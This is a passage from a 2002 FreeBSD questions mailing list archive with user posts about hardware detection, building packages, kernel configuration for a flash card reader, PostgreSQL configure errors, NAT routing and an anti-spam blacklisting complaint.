eisa0: unknown card @H@0000 (0x01000000) at slot 1
orm0: <Option ROMs> at iomem 0xc0000-0xcbfff,0xd8000-0xdbfff,0xdc000-0xdffff 
on isa0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <Keyboard controller (i8042)> at port 0x60,0x64 on isa0
atkbd0: <AT Keyboard> flags 0x1 irq 1 on atkbdc0
kbd0 at atkbd0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model GlidePoint, device ID 0
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> at flags 0x100 on isa0
sc0: VGA <16 virtual consoles, flags=0x300>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1: configured irq 3 not in bitmap of probed irqs 0
spic0: device model type = 2
spic0: <Sony Programmable I/O Controller> at port 0x10a0-0x10a4 on isa0
IPsec: Initialized Security Association Processing.
ad0: 28615MB <TOSHIBA MK3017GAP> [58140/16/63] at ata0-master UDMA66
Mounting root from ufs:/dev/ad0s3a
IP Filter: v3.4.27 initialized.  Default = pass all, Logging = enabled
##########


usbdevs -v
##########
Controller /dev/usb0:
addr 1: self powered, config 1, UHCI root hub(0x0000), Intel(0x0000), rev 
0x0100
 port 1 addr 2: power 50 mA, config 1, product 0x1002(0x1002), Apple 
Computer(0x05ac), rev 0x0122
  port 1 addr 3: power 50 mA, config 1, product 0x0204(0x0204), Apple 
Computer(0x05ac), rev 0x0122
  port 2 addr 4: low speed, power 50 mA, config 1, product 0xc408(0xc408), 
Logitech(0x046d), rev 0x1400
  port 3 powered
 port 2 addr 5: self powered, config 1, Acerscan 620U(0x2060), Acer 
Peripherals(0x04a5), rev 0x0100
##########

Thanks,
Jordi

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From owner-freebsd-questions  Sat Aug  3 21:39: 7 2002
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From: David Syphers <dsyphers@uchicago.edu>
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Subject: make package
Date: Sat, 3 Aug 2002 23:39:04 -0500
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I would like to make packages of several ports which I already have installed. 
Unfortunately, it seems 'make package' wants to install the package too (and 
dies if it can't). Why? I'm not telling to make install. Is there something I 
can do to have it _just_ make the packages? Thanks,

-David

-- 
Everyone who believes in telekinesis, raise my hand...

Astronomy and Astrophysics Center
The University of Chicago

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From owner-freebsd-questions  Sat Aug  3 21:40:55 2002
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From: Peter Leftwich <Hostmaster@Video2Video.Com>
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For the record, I have no idea how I got listed on
http://www.voytech.com/anti_spam.htm

My webhost, Interland, keeps an open-relay which users constantly complain
about.  Perhaps that is why.  Thanks for your understanding.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Sat Aug  3 21:53:35 2002
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Date: Sat, 3 Aug 2002 21:53:33 -0700 (PDT)
From: dodi agusri <dodi_tdp@yahoo.com>
Subject: Can not configure postgresql --with-tcl option
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When I configure PostgreSQL --with-tcl option there 
was error messages " checking for with .. no..
configure error with is required for TK support".How
to
solve it



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From owner-freebsd-questions  Sat Aug  3 21:57:23 2002
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From: "Christopher J. Umina" <uminac@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
To: FreeBSD Question Mailing List <questions@freebsd.org>
Subject: Clustering
Message-ID: <20020804005606.C38836-100000@216-164-225-145.c3-0.wth-ubr2.sbo-wth.ma.cable.rcn.com>
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Hey all,
	Is anybody skilled at making FreeBSD Clusters?  I really would
love to know how because I have a number of old machines that aren't too
fast and I would loke to be able to build things on all of them together.

Thanks,
Christopher J. Umina


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From owner-freebsd-questions  Sat Aug  3 22:34: 3 2002
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From: Peter Leftwich <Hostmaster@Video2Video.Com>
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Subject: mount_msdos, KDE.mp3, xsane.xsubstitute
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1. Very bizarre (and congrats to me on my very first ever official crash
since Feb 2002), `last` output:

"root             ttyp1    dhcp.rrr Sat Aug  3 22:25 - crash  (00:02)"

All I was doing was trying to `mount -t msdos /dev/fd0 /floppy` mount (in
an xterm) a floppy that is possibly, by now, corrupted.  Yowsers.

2. Can someone recommend a very easy to install MP3 player (pkg_add) for KDE?

3. Can someone recommend a good resource/URL for apps like xsane?  Dankoh.

--
Peter Leftwich
President & Founder
Video2Video Services
Box 13692, La Jolla, CA, 92039 USA
+1-413-403-9555


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From owner-freebsd-questions  Sat Aug  3 23: 2:32 2002
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Peter Leftwich <Hostmaster@Video2Video.Com> writes:

| For the record, I have no idea how I got listed on
| http://www.voytech.com/anti_spam.htm

I'm guessing it's due to the message you sent out earlier with a subject line
of "URGENT RECOMMENDATION", which is used by a large percentage of Nigerian
scammers.  It probably tripped antispam filters all over.  Even I thought it
was probably spam at first glance; as it was, it was a valuable enough
recommendation that I saved it.  :)

I've written a short note on your behalf to the contact form at voytech.com;
we'll see what they say.

| My webhost, Interland, keeps an open-relay which users constantly complain
| about.

Actually, Interland is one of the most unethical ISPs in the Western
Hemisphere.  You might want to consider moving to a different one at some
point.



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From owner-freebsd-questions  Sat Aug  3 23:35:48 2002
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Date: Sun, 4 Aug 2002 08:35:25 +0200
From: Burkard Meyendriesch <bm@Malepartus.de>
To: freebsd-questions@FreeBSD.ORG
Cc: freebsd-stable@FreeBSD.ORG
Subject: How to install a flash card reader with IDE/ATAPI interface
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Hi folks,

trying to install my new IDE interface flash card reader I get the 
following error message:

dmesg:
...
afd0: MODE_SENSE_BIG - ILLEGAL REQUEST asc=0x24 ascq=0x00 error=0x04
afd0: <IOMEGA ZIP 100 like IICA-1/01-12-17> floppy device - NO DRIVER!
...


The device is connected as master to the second channel of my IDE 
controler. I think that the kernel does recognize the device but has
no specific driver for it. Can somebody please tell me which device
has to be inserted into my kernel configuration file.

Thanks a lot in advance
Burkard

-----------------------------------------------------------------------

uname -a
FreeBSD Reineke.Malepartus.DE 4.6-STABLE FreeBSD 4.6-STABLE #12: Fri Aug  2 21:48:08 MEST 2002     bm@Reineke.Malepartus.DE:/usr/src/sys/compile/REINEKE  i386
bm@Reineke:/usr/home/bm$


-----------------------------------------------------------------------

my current configuration file:

ident		REINEKE
machine		i386		#i386 family PC hardware architecture
maxusers	128		#controls the static sizing of system tables

options 	ROOTDEVNAME=\"ufs:ad0s1a\"

cpu		I686_CPU	#aka Pentium Pro(tm)

options		COMPAT_43	#Compatible with BSD 4.3 [KEEP THIS!]
options         USER_LDT        #allow user-level ctrl of i386 ldt WINE

options 	SYSVSHM		# include support for shared memory
options 	SHMMAXPGS=1025	# max amount of shared memory pages (4k on i386)
options 	SHMALL=1025	# max amount of shared memory (bytes)
options 	SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
				# max shared memory segment size (bytes)
options 	SHMMIN=2	# min shared memory segment size (bytes)
options 	SHMMNI=129	# max number of shared memory identifiers
options 	SHMSEG=33	# max shared memory segments per process

options 	SYSVSEM		# include support for semaphores
options 	SEMMAP=31	# amount of entries in semaphore map
options 	SEMMNI=11	# number of semaphore identifiers in the system
options 	SEMMNS=61	# number of semaphores in the system
options 	SEMMNU=31	# number of undo structures in the system
options 	SEMMSL=61	# max number of semaphores per id
options 	SEMOPM=101	# max number of operations per semop call
options 	SEMUME=11	# max number of undo entries per process

options 	SYSVMSG		# include support for message queues
options 	MSGMNB=2049	# max characters per message queue
options 	MSGMNI=41	# max number of message queue identifiers
options 	MSGSEG=2049	# max number of message segments in the system
options 	MSGSSZ=16	# size of a message segment MUST be power of 2
options 	MSGTQL=41	# max amount of messages in the system

options         PMAP_SHPGPERPROC=300       

options		DDB		#enable kernel debugger
options		DDB_UNATTENDED	#don't drop into DDB for a panic.
options		KTRACE		#kernel tracing
options		PERFMON		#Pentium performance counters

options		UCONSOLE	#Allow users to grab the console
options		USERCONFIG	#boot -c editor
options		VISUAL_USERCONFIG #visual boot -c editor

options		INET		#InterNETworking
options 	INET6		#IPv6 communications protocols
options 	IPSEC		#IP security
options 	IPSEC_ESP	#IP security (crypto; define w/ IPSEC)
options 	IPSEC_DEBUG	#debug for IP security

options 	NETSMB		#SMB/CIFS requester
options 	NETSMBCRYPTO	#encrypted password support for SMB
options 	LIBMCHAIN	#mbuf management library
options 	LIBICONV	#Kernel side iconv library

pseudo-device	ether		#Generic Ethernet
pseudo-device	loop		#Network loopback device
pseudo-device	bpf	4	#Berkeley packet filter
pseudo-device	disc		#Discard device (ds0, ds1, etc)
pseudo-device   sl      1	#Kernel SLIP
pseudo-device   ppp     1	#Kernel PPP
pseudo-device   tun		#Packet tunnel

pseudo-device   gif     4	#IPv6 and IPv4 tunneling
pseudo-device   faith   1	#IPv6-to-IPv4 relaying (translation)
pseudo-device	stf		#6to4 IPv6 over IPv4 encapsulation

options		RANDOM_IP_ID	#causes ID field in IP packets to be randomized
options 	ICMP_BANDLIM	#enables icmp error response bandwidth limiting

options 	FFS		#Fast filesystem
options 	MFS		#Memory File System

options 	NFS_NOSERVER	#Disable the NFS-server code.
options 	CD9660		#ISO 9660 filesystem
options 	KERNFS		#Kernel filesystem
options 	MSDOSFS		#MS DOS File System
options 	PROCFS		#Process filesystem

options 	FFS_ROOT	#FFS usable as root device
options 	CD9660_ROOT	#CD-ROM usable as root device

options 	SOFTUPDATES	#Enable FFS soft updates support

options         P1003_1B
options         _KPOSIX_PRIORITY_SCHEDULING
options         _KPOSIX_VERSION=199309L

device		amd0		#AMD 53C974 (Teckram DC-390(T))

device		scbus0 at amd0	#Single bus device
device		da0
device		sa0 at scbus0 target 5
device		sa1 at scbus0 target 4
device		cd0 at scbus0 target 6
device		pass		# Passthrough device (direct SCSI access)

options 	CAM_MAX_HIGHPOWER=4
options		SCSI_DELAY=8000		#Be pessimistic about Joe SCSI device
options 	SA_1FM_AT_EOD
pseudo-device	pty	32	#Pseudo-ttys (telnet etc)
pseudo-device   speaker      	#IBM BASIC-style noises out your speaker
pseudo-device	gzip		#Exec gzipped a.out's
pseudo-device	vn		#Vnode driver (turns a file into a device)
pseudo-device   md		#Memory/malloc disk
pseudo-device	snp	        #Snoop device - to look at pty/vty/etc..

device		isa

options 	AUTO_EOI_1	#enables `automatic EOI' on master 8259A

options		PPS_SYNC	#Support external PPS signal
options		CLK_USE_TSC_CALIBRATION

options         NTIMECOUNTER=20

device          atkbdc0 at isa? port IO_KBD
device          atkbd0  at atkbdc? irq 1

options 	ATKBD_DFLT_KEYMAP	# specify the built-in keymap
makeoptions	ATKBD_DFLT_KEYMAP="german.iso"

device		psm0	at atkbdc? irq 12

device          vga0	at isa?

device		sc0	at isa?
options 	MAXCONS=16		# number of virtual consoles
options 	SC_ALT_MOUSE_IMAGE	# simplified mouse cursor in text mode
options 	SC_DFLT_FONT		# compile font in
makeoptions	SC_DFLT_FONT=cp850
options 	SC_DISABLE_DDBKEY	# disable `debug' key
options 	SC_DISABLE_REBOOT	# disable reboot key sequence
options 	SC_HISTORY_SIZE=200	# number of history buffer lines
options 	SC_MOUSE_CHAR=0x3	# char code for text mode mouse cursor
options 	SC_PIXEL_MODE		# add support for the raster text mode

options 	SC_NORM_ATTR="(FG_GREEN|BG_BLACK)"
options 	SC_NORM_REV_ATTR="(FG_YELLOW|BG_GREEN)"
options 	SC_KERNEL_CONS_ATTR="(FG_RED|BG_BLACK)"
options 	SC_KERNEL_CONS_REV_ATTR="(FG_BLACK|BG_RED)"

device          npx0    at nexus? port IO_NPX flags 0x0 irq 13

device		ata
device		atadisk		# ATA disk drives
device		atapicd		# ATAPI CDROM drives
device		atapifd		# ATAPI floppy drives
device		atapist		# ATAPI tape drives
options 	ATA_STATIC_ID	# Static device numbering

device		vpo   		# Iomega Zip Drive
options		VP0_DEBUG	# ZIP/ZIP+ debug

device          fdc0    at isa? port IO_FD1 irq 6 drq 2
device		fd0	at fdc0 drive 0

device          sio0    at isa? port 0x3f8 flags 0x0010 irq 4
options		COM_MULTIPORT
device		sio1	at isa? port 0x2a0 flags 0x0401
device		sio2	at isa? port 0x2a8 flags 0x0401
device		sio3	at isa? port 0x2b0 flags 0x0401
device		sio4	at isa? port 0x2b8 flags 0x0401 irq 3

device		pci		# PCI bus chip set

device		miibus		# MII bus controller support
device		xl0		# 3Com 3c90x (``Boomerang'', ``Cyclone'')

device		ppc0 at isa? port 0x378 irq 7
device          ppbus		# Parallel port bus (required)
device          lpt		# Printer
device          ppi		# Parallel port interface device
device		pps		# Pulse per second Timing Interface

device		uhci		# UHCI PCI->USB interface
device		ohci		# OHCI PCI->USB interface
device		usb		# USB Bus (required)
device		ugen		# Generic
device		uhid		# "Human Interface Devices"
device		ukbd		# Keyboard
device		ulpt		# Printer
device		umass		# Disks/Mass storage - Requires scbus and da
device		ums		# Mouse
device		uscanner	# Scanners
device		urio		# Diamond Rio MP3 Player
device		pcm0 at isa? irq 10 drq 1 flags 0x0
device		sbc0	at isa? port 0x220 irq 5 drq 1 flags 0x15


--
* Burkard Meyendriesch             ___                bm@malepartus.de *
* Stevern 2                 ________|________      tel +49 171 5456381 *
* D-48301 Nottuln                   0           51 56'55"N  07 22'14"E *
* PGP-Fingerprint     BF 3B 41 DE 15 4D C9 48  15 EF A5 86 BF 6D 68 1A *

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From owner-freebsd-questions  Sat Aug  3 23:41:13 2002
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Date: Sat, 3 Aug 2002 22:41:16 -0800
Subject: Dual routing.
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I've got natd/ipfw setup on my 4.5 box and all works OK. Everything 
except for the fact that any of the sites that I host, I can't see. If I 
put the IP Address in, it will bring up the first virtualhost in the 
list, so I know apache is doing it's thing. My external card brings in 
the traffic just fine, and routes outsiders to the multitude of sites 
that we host. However, our workstations are on the inside net with the 
webservers, however, in my browser I can't see the webpages. Any ideas?

I'm under the impression that it is all centered around having a 
singular natd interface. Can I stipulate more than one? I'm on 
unfamiliar ground here, any help would be greatly appreciated.

Thanks,
Mark


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